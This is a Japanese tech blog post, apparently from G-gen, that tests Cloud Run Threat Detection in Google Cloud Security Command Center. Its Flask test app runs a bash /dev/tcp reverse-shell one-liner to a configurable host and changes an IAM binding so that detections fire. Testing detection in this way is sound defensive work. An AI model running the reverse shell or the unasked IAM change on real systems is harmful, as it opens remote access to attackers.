G-gen の三浦です。当記事では、Cloud Run Threat Detection を検証した結果を紹介します。

概要
Cloud Run Threat Detection とは
Cloud Run Threat Detection とは、Cloud Run で実行されているアプリケーションに対する攻撃や不正な操作ログを検出するセキュリティ機能です。実行中の Cloud Run アプリケーションを継続的にモニタリングし、ニアリアルタイムで Security Command Center(以下、SCC)に検出結果を報告します。
検査対象リソースは、Cloud Run サービスおよび Cloud Run ジョブ です。
- 参考 : Cloud Run の脅威検出の概要
当機能は、SCC のプレミアムティアまたは エンタープライズティアでのみ利用可能です。
- 参考 : Security Command Center のサービスティア
- 参考 : Security Command Centerを徹底解説。Google Cloud(GCP)の脆弱性を自動検知 - G-gen Tech Blog - Security Command Center とは
なお当記事の検証結果やスクリーンショットは、2025年4月現在(プレビュー期間中)のものです。当機能は2025年9月に一般公開(GA)されました。
2つの検出機能
Cloud Run Threat Detectionには、ランタイム検出とコントロールプレーン検出の2種類の検出方法が含まれており、違いは以下のとおりです。
| 検出種類 | 対応している Cloud Run の世代 | 具体的な検出内容の例 |
|---|---|---|
| ランタイム検出 | 第2世代のみ | コンテナエスケープ、悪意のあるバイナリやスクリプトの実行、偵察ツールの使用など |
| コントロール プレーン検出 | 第1世代・第2世代 | クリプトマイニングの兆候や、不審な IAM 設定変更などの操作ログを検出 |
Artifact Analysis との違い
類似機能として、Artifact Registry に保存されたコンテナイメージの脆弱性をスキャンする Artifact Analysis があります。
両機能の違いは以下のとおりで、検出タイミングや対象、目的が異なり、相互に補完しあいます。
| 機能名 | 検出対象 | 検出タイミング | ユースケース |
|---|---|---|---|
| Cloud Run の脅威検出 | コンテナ本体 | 実行時(ランタイム) | 本番環境における異常検知・不正アクセスの監視 |
| Artifact Analysis | コンテナイメージ | イメージの Push 時、または手動スキャン時 | リリース前のセキュリティチェック |
注意事項
当機能を組織またはプロジェクトで有効にすると、第 1 世代の実行環境を指定した Cloud Run サービスは新たに作成できなくなります。事前にご確認ください。
Cloud Run 脅威検出を有効にすると、第 1 世代の実行環境で実行される Cloud Run サービスまたはサービス リビジョンを作成できません。Cloud Run サービスは第 2 世代の実行環境を使用する必要があります。Cloud Run の脅威検出を有効にする前に、第 2 世代の実行環境でワークロードをテストすることをおすすめします。
各実行環境の特徴については、以下の記事および公式ドキュメントをご参照ください。
検証内容
検証手順は次のとおりです。
| 項番 | 内容 | 説明 |
|---|---|---|
| 1 | 脅威検出機能の有効化 | 検証プロジェクトで SCC のプレミアムティアを有効化し、Cloud Run の脅威検出機能を有効化する |
| 2 | Cloud Run のデプロイ | 脅威検出対象となる Cloud Run サービスをデプロイする |
| 3 | 疑似攻撃の実行と検出結果の確認 | コンテナ内で疑似的な悪意のある操作を行い、ランタイム検出とコントロールプレーン検出による検知を確認する |
検証
脅威検出機能の有効化
プロジェクトセレクタで検証用プロジェクトが選択されていることを確認したあと、[セキュリティ] > [リスクの概要] から [プレミアムへ切り替え] を選択します。


プレミアム ティアが選択されていることを確認し、[次へ] を選択します。

以下を設定し、[ティアを更新] を選択します。
- Cloud Run の脅威検出:
有効にする

階層がSecurity Command Center Premiumと表示されることを確認します。

Cloud Run のデプロイ
ディレクトリ構成
ディレクトリ構成は以下の通りです。
. ├── Dockerfile ├── main.py └── requirements.txt
Dockerfile
FROM google/cloud-sdk:slim # 作業ディレクトリ WORKDIR /app # Python 関連ツールをインストール RUN apt-get update && \ apt-get install -y python3 python3-venv python3-pip && \ apt-get clean # Python 仮想環境を構築して有効化 RUN python3 -m venv /app/venv ENV PATH="/app/venv/bin:$PATH" # Flask のインストール COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt # アプリケーションコード COPY main.py . # ポート指定(Cloud Run) ENV PORT=8080 # アプリ起動 CMD ["python", "main.py"]
main.py
この Flask アプリは、Cloud Run の脅威検出機能を検証するためのものです。
/simulate にアクセスすると、リバースシェル通信と IAM 設定変更を疑似的に実行します。
from flask import Flask import os import subprocess import logging # Flask アプリの起動 app = Flask(__name__) logging.basicConfig(level=logging.INFO) # ========================================== # 必須の環境変数を取得 # デプロイ時に --set-env-vars で設定します # ========================================== REVERSE_SHELL_HOST = os.environ.get("REVERSE_SHELL_HOST") # 疑似リバースシェルの接続先ホスト PROJECT_ID = os.environ.get("PROJECT_ID") # GCP プロジェクト ID PROJECT_NUMBER = os.environ.get("PROJECT_NUMBER") # GCP プロジェクト番号(数値) SERVICE_NAME = os.environ.get("SERVICE_NAME") # この Cloud Run サービス名 REGION = os.environ.get("REGION", "asia-northeast1") # リージョン(デフォルト: 東京) # リバースシェル用の接続ポート(固定) REVERSE_SHELL_PORT = "80" # ========================================== # 必須環境変数のチェック # ========================================== if not all([REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME]): raise EnvironmentError( "環境変数 REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME をすべて設定してください。" ) # ========================================== # GET / → 簡易ステータス確認用 # ========================================== @app.route("/") def index(): return "Cloud Run Threat Detection simulation is ready.\n" # ========================================== # GET /simulate # 疑似リバースシェル(ランタイム検出)と IAM 操作(コントロールプレーン検出)を一括実行 # ========================================== @app.route("/simulate") def simulate(): logging.warning(f"🚨 Simulating reverse shell to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT}") # ✅ ランタイム検出: 疑似リバースシェルを実行(CLOUD_RUN_REVERSE_SHELL) subprocess.run([ "bash", "-c", f"bash -i >& /dev/tcp/{REVERSE_SHELL_HOST}/{REVERSE_SHELL_PORT} 0>&1 || true" ]) # ✅ コントロール プレーン検出: IAM ポリシー変更(CLOUD_RUN_SERVICES_SET_IAM_POLICY) # デフォルトの GCE サービスアカウントを Cloud Run の Invoker に追加 default_sa = f"{PROJECT_NUMBER}-compute@developer.gserviceaccount.com" logging.warning(f"🔐 Binding default GCE SA ({default_sa}) to {SERVICE_NAME}") subprocess.run([ "gcloud", "run", "services", "add-iam-policy-binding", SERVICE_NAME, "--member", f"serviceAccount:{default_sa}", "--role", "roles/run.invoker", "--region", REGION, "--project", PROJECT_ID ]) logging.warning("✅ Threat simulation completed.") return ( f"Reverse shell simulated to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT}\n" f"IAM policy updated for {default_sa} on {SERVICE_NAME}\n" ) if __name__ == "__main__": port = int(os.environ.get("PORT", 8080)) app.run(host="0.0.0.0", port=port)
requirements.txt
flask
以下コマンドでContainer Threat Detection API を有効化します。
# プロジェクト ID export PROJECT_ID="myproject" # API を有効化 gcloud services enable containerthreatdetection.googleapis.com \ --project=$PROJECT_ID
上記 API が無効な場合、以下ログが出力され、脅威検知が実施されませんので、ご注意ください。
textPayload: "W0410 08:36:54.096441 8 ktdclient.go:334] ktdclient connection closed unexpectedly: failed to receive initial response from ktd service: rpc error: code = PermissionDenied desc = Container Threat Detection API has not been used in project XXXXX before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/containerthreatdetection.googleapis.com/overview?project=XXXXX then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry."
以下のコマンドで Cloud Run サービスをデプロイします。
# イメージと Cloud Run サービス名 export SERVICE_NAME=cloudrun-test # Cloud Run から TCP/80 に接続するテスト用ホストを指定します(例:dev.yourdomain.com) # リバースシェルの動作を再現するため、HTTP 通信が可能な検証用 FQDN を使用してください export REVERSE_SHELL_HOST=dev.yourdomain.com # プロジェクト ID と番号を自動取得 export PROJECT_ID=$(gcloud config get-value project) export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)") # Cloud Run サービスのデプロイ gcloud run deploy $SERVICE_NAME --source . \ --region=asia-northeast1 \ --allow-unauthenticated \ --set-env-vars REVERSE_SHELL_HOST=$REVERSE_SHELL_HOST,PROJECT_ID=$PROJECT_ID,PROJECT_NUMBER=$PROJECT_NUMBER,SERVICE_NAME=$SERVICE_NAME
疑似攻撃の実行と検出結果の確認
Cloud Run サービスへアクセスします。
# Cloud Run サービスの URL を環境変数に設定 export CLOUD_RUN_URL=$(gcloud run services describe $SERVICE_NAME \ --region=asia-northeast1 \ --project=$PROJECT_ID \ --format="value(status.url)") # Cloud Run サービスの /simulate エンドポイントへアクセス curl -s "${CLOUD_RUN_URL}/simulate"
[セキュリティ] >[検出結果] から [Cloud Run Threat Detection] と [Event Threat Detection] を選択し、脅威を検出していることを確認します。



三浦 健斗 (記事一覧)
クラウドソリューション部
2023年10月よりG-genにジョイン。元オンプレ中心のネットワークエンジニア。 ネットワーク・セキュリティ・唐揚げ・辛いものが好き。
Google Cloud Partner All Certification Holders 2025 / Google Cloud Partner Top Engineer 2026
